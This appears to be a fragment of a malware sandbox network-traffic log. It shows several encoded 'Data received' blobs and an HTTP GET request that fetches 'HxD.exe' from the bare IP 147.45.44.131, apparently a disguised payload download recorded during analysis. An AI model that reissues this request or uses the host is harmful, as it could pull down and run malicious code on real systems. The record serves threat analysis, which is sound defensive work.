C J j P k G a B O G o q x + V t / V H V H I a V + E j t S S M / 5 W y g X L S G q y a q o M d 3 / J Z y J L W L j B t c g t W i Y z D e 2 4 C A 3 a c 1 9 8 a Y t X 7 / H r O d F n 5 w f l 9 3 u 7 O 1 v O C g e a G p K C l F 4 G t c x s 3 E r g F w c t N o 4 m Y W e J + s g z f D 8 7 v g + P a F z q 7 m A V 6 B r I i P S 2 / + / R w V L X x Q e Q B z f 8 k s L C 3 R u 3 J x 7 x C q k D y 3 K D h N L S 4 C z J x n x f 7 J C f 6 9 m W y 2 D W j F w R V V I G Q e 7 X P O d U 4 n 6 T D f M C U + x F 5 E 0 2 4 9 V 9 Y j o / n y 2 M S l A x N g t G a e y W R I z x + K M z N L A s q v i V L L q J N A t d s I 6 k g 3 5 C D 0 U Z 6 d L Y b b 7 C l q E / G r e o O W z h 4 Q b C A q x O u Y 8 P u x i H R Y B b r l N 0 f u 8 C 2 M q 5 R l b 7 e 3 f V Q X a u W 4 k c p I P W k y w H d F Q I 0 w Z w q G K 1 F m B s Q g C x 4 x h J I A o H V p Z z O w j J d K I d I Y P h Q N 5 l 6 o j 5 A 2 S V 6 2 i u X Y F 1 D W o N O W l H 8 S W L 5 O i p z g z V X h d o l 0 U M J 8 y R / T 7 M Q 5 N y / x 3 8 s Y 5 c l n i N k a J h m Z E 3 E C q i u B j Y v A f U l u + i 6 n s N W I 6 y / s 5 z F V 4 Q o g 7 Q w 7 Q V a 0 P y / B v d O t y E B u J Q d b e f b H R 7 a E y z W 0 x x i n T S Z h 8 K 9 Q V Z q O o N m y e r / J I w n l w y K K L y 5 Y m z v r l n O 3 I e H T u 2 b n G W 9 Q y + e h q M v l Z l b v a 9 F i u 0 9 v j X Q T T u E R 7 D w g k G K V r b 9 4 G V h r W w R b g w L s N Q D m 8 t y M I r / 1 1 y 9 5 A C D X 2 2 v J i n n l 8 9 5 s M I R T 9 x z 6 1 F w E 8 r F e w A I N Z / g K V j l z u 7 T R i l G R U I F W O N X J P m E T g 4 L c y Y d S l D 8 s / H y q i 7 H p A p 4 w O 9 S 7 A E e f L Z 3 6 q x R Z T Q e Y k w k 8 2 O Q q o 4 4 E k h t b j 0 R 5 G o N 2 b l T G T C 9 p M y u S J t R s j o x 6 X r b I z w L w f k r e g I C k 7 b j l D a 7 c 8 y d B V w O I 5 M n + l q k g W 3 L N H R Y l J R / e M u / e 9 b 0 n C / j C p 4 A d P r M Y a 4 5 Z T 4 L e g p q 8 S c 0 l f |
| Data received | p B B z E e A 5 + B T o r d 0 a w m 9 G l / p q C m v l P E U D m k J 9 x g J R I D W 2 J l w B 6 o Q z 7 I G T g u w O b G + q W 3 B G v c e H y + 1 C O w 4 E B L i s J D T A A a J t x o l I N / L o t c w 0 a u 8 O n A M w W N O 4 o D a K 6 N b p t 8 N Y t r a a H h E n O a R a Z x d J E X m z h D V + P H h 3 c N 5 c C / n n M A 8 y E / / e G U 4 D + 1 x 4 F u z e 5 e 1 v z 8 f 3 U g + J L D o + a 6 u V z h / Y A n / 0 6 Z / V h W h 7 5 7 N R p g S r 0 V 5 8 + 4 U H r M B C n 2 a v + 5 T k 2 6 O t a P X 9 F t + k G F N N M U g S / k e l X y z M O c z 5 y V Z S g e K 2 o h E d J c x W m l N i j B Z b E V m K J u / j G r g K K s 1 e 6 2 n V t 8 F T u r C U E S e u 5 a m V s J G G o m G C p 0 6 4 v / H f Q E F Q J L m h f x J n f X 8 p P e / Y B e C q s Y d 5 g G H G H K G V A + K h r 7 r 2 a p u 8 U E 6 i v g g T Z I l u e J 3 h Q F S 9 9 a N Z H 3 x j 9 B i Y X S a K h b U A 4 i W / I p 6 6 A M o L 7 h C 3 s E k r h w j 4 U B 3 A O X 7 l D V H 7 + Y 9 C Z 4 / N z 4 + P C q K 9 j b D B 2 Q i b a Z K Z D N L J X u + U q 0 9 c j L Z T 5 G b l o h 5 v I v I B i 8 h v J 5 2 9 6 E w s L O s J 3 Y 3 n R Z E U y n K d 3 + i x e 5 D z S R F p j R C C h i / u O o I 1 w 7 O A g 4 F 9 V c + 3 w w t w Y x U C v P 3 R N c 7 r 0 x 2 U B 6 y 0 4 G K 1 v q k j z 5 r 5 j e c n f J W g D L 6 n J f f 4 w Y c 5 T u M u 0 T 6 M P A z 5 e Y 5 P n Q I l 0 D E h d a x l b 1 j R r 1 t 1 3 Z X m + w n F B c t b C b Y m c E + l y v E x Z 6 r z V 5 0 P g G L D h d g T N V e B v 4 1 Y f l v d p q w H j l w N w N / 3 e 0 N E u N q Y X u t f p W J 5 R R r 0 5 l H F B 8 j 2 9 8 O + m E E G Q n 4 4 e a l p 1 r g g V O 8 V d v N U y G r c A X m r q 7 4 C F g P f 2 A p Y Y c c H Y O Y N J j O F G m N y 5 Q M C L x O R p e P Z 2 9 Y n 0 + s 6 4 r h z 8 5 n s i W 9 m p W V v a N B D 9 0 V 9 U r o E h Y G e T z a D P Q C N k 1 I y a g T E I d M P r Q 2 r E g t n + g E V H H u u o x X g x 3 u P o n 8 M b b S R v y 7 c m Y + M g n X m x G l s q W I b w 5 n p n k i R / O / 0 H N i I R M 0 p N n S a a K c U P 2 J o 8 P S H t B y B K U 8 0 I F I L I U V t 7 R 7 m r 3 C Y R K x q 2 M I o t I Z 6 V V h x p t y i m B D e x v l 3 C K a x Z p 0 u K e i w V i 1 5 8 O 0 U b j 9 q J q z f R n w 6 F W k N J P K g U t R m I h e H 8 I o f o q H 9 u M T V D w o P n I Z e o + d f g Y F B U D L I I R o d O j P w 2 j G S Q p 1 N m Y M K x f L E c + o L j 6 / E C h e F V k + Y 5 m X E / / k H 3 g b C o 4 S R c 1 Y W F R f V 2 m f t 1 e + 3 5 H n y / q S + X F 0 X R h 7 s B o a 6 T W l 5 I b j J + J 6 a o 5 U p 2 K j p b W / + m T 5 8 B H M 4 Q g 0 d Y t O B g c S 1 B w K v p z D T c t N Z U 5 9 C o Q F Z / r r Q X b P 9 c p E q u + 5 9 2 b 1 P C 8 D u q G g C e 6 G 2 q B 1 d N Q X q h 1 j 1 c G V s b b b G P M t 2 F G Z N 1 k J + |
| Data received | H N j k / 4 B 2 G v X Y 2 y h N s E e D 6 V D k d P 5 + z y 5 f L c 3 p K 2 h X b E X F k k k 5 W k 6 N k 0 X g b E l + L k O I V C W P 5 5 r w B B y M B L b M z F h 7 Y G 8 D B t d U t + c m E l A j O d r z 2 t 7 E a N + H m a d U 5 q h n B y u o L h 8 9 Z p q i A + S 2 r M e A 9 G n a 3 L H H J e D o 7 p X 4 + r Y W A J p L 7 x B D E j q 1 7 T h k k X N 5 F 2 p C u p K j + c u s x 9 K 4 x S 8 j b C e p k S m Y g A 6 8 y n d A y J 3 s i a D o A o C + v P b 2 B I J T q X 6 f x 4 T U I y M L P g w 6 T Y P F v J i I 6 / q W b f O p L i D e q y 6 x F 0 6 4 / P P T E n Y j t m e Y I m 1 P W X n C r F 9 I a V z Y o 2 p n M h 5 h U R 4 r n h R S F U 5 a / E v 5 6 l c V k m p I L W Y P t Z I f c x P W R l W 1 e C E f N / + c + T M k y v R T y 0 T i Q + N 4 q i H g t 2 M u w w J R N p 6 q T A p o 9 V Y B G t E 8 8 7 I l X Y A R t B c c / L V 4 H R J R q 4 P 5 T u 5 v m 6 d Y w / Q 2 S 2 m w r h E t U m H S 9 0 g 3 q l u q 7 U b w n q D V 7 b e G F W Q H i K w 1 I A S f F i e I 9 n E A l Z v 1 o g X D N k W + B 9 Q S s h u 2 I f s Z e h P W Z 1 Q 4 B f j A Q G 2 L n 3 2 s w x 5 / K V A a Q f / f I x 3 / 3 P Q A J z B d F k W s Y b r + f h 4 s X x D q E 6 E y s 4 x b Z e l 2 H I X L P e Y y + 2 7 8 1 R 6 p e Y E n S d z r J C S L h c w b F g W S n L a u d v Q 7 P e b Q s X 2 w / T y / B I s v O 8 L W r h v T / I / 2 j 7 H q b + J S V B w X l v 0 1 l / X Q h G T l O w O J 4 k 7 2 A W F D s B D m 6 I z t 1 L S j / 0 g A B P + A g T D E X I 7 N Y W n B 6 q 5 d u B 1 Z Q 5 Z f U N X O V U X u v 7 I 7 / V k I m + 7 u X y 3 c l C h r e o I j Y 6 L h L D H Z 9 J p Z z F l D 8 C T F H b q w M S b E s z w q g 4 0 T Q K l 0 0 G X D r Z F W p t T v 9 u O 9 t T k O b 8 q R W l x m t n s i X d D h L k S q E S V 1 o 8 t O O V / 2 I K k T g R i G k K D H o m H Y U r r h X W 2 n k 0 f t s m 1 I i d R w C k k V R 0 H M Z n J j B t I 1 + 2 i p c C h O Z z V 6 N K V 3 I P D l 6 3 0 9 D X 1 9 a M X P o w u j t j m L y d B q P 2 i k Q F / Q 4 R i t Z g S u P x P W o K B S e D / 3 j c f F + d 7 f 1 r t a o a 8 o F g V t D N v U z d J 6 T J R S r I n 1 x N Q O p j b 4 x r b i 8 a c q J h P f t H A M i V x m m 1 W a T u l 7 F M L c S Z M M 0 N I V 4 B e K U R c b F V 0 + + p L V B q 8 Z y J v 3 p 6 X F b q f X z v F g P M g / D m k q R b X X b 3 D d n 8 N g k V y E d 1 n T L + F J n O F T r 4 g 3 a + O h B G h / a g F y i B H U d o K Z h z J N + k X S s n N 6 q 0 u 2 R W 8 q h Z 5 k 0 0 m u P f r S l M l F K E C T z F H n G X Q k q M G x P r L u E E y C d m q e q w g N Q S 1 Y 7 r t 3 Y P r g T 6 H + d W i 0 l m d 9 h / 8 j R I 2 t G Q 3 i F M X J w 6 h F x T m t 6 R 5 o Z s y h F p 0 z T q 3 R b Y i R V + v i N s F t f a S R a N k u 0 j p y X F S l N 4 X o f J V j R 9 h n q 2 u P B t 4 e e X N f + C G L |
| Data sent | GET /files/HxD.exe HTTP/1.1 Host: 147.45.44.131 Connection: Keep-Alive |
| host | 147.45.44.131 | |||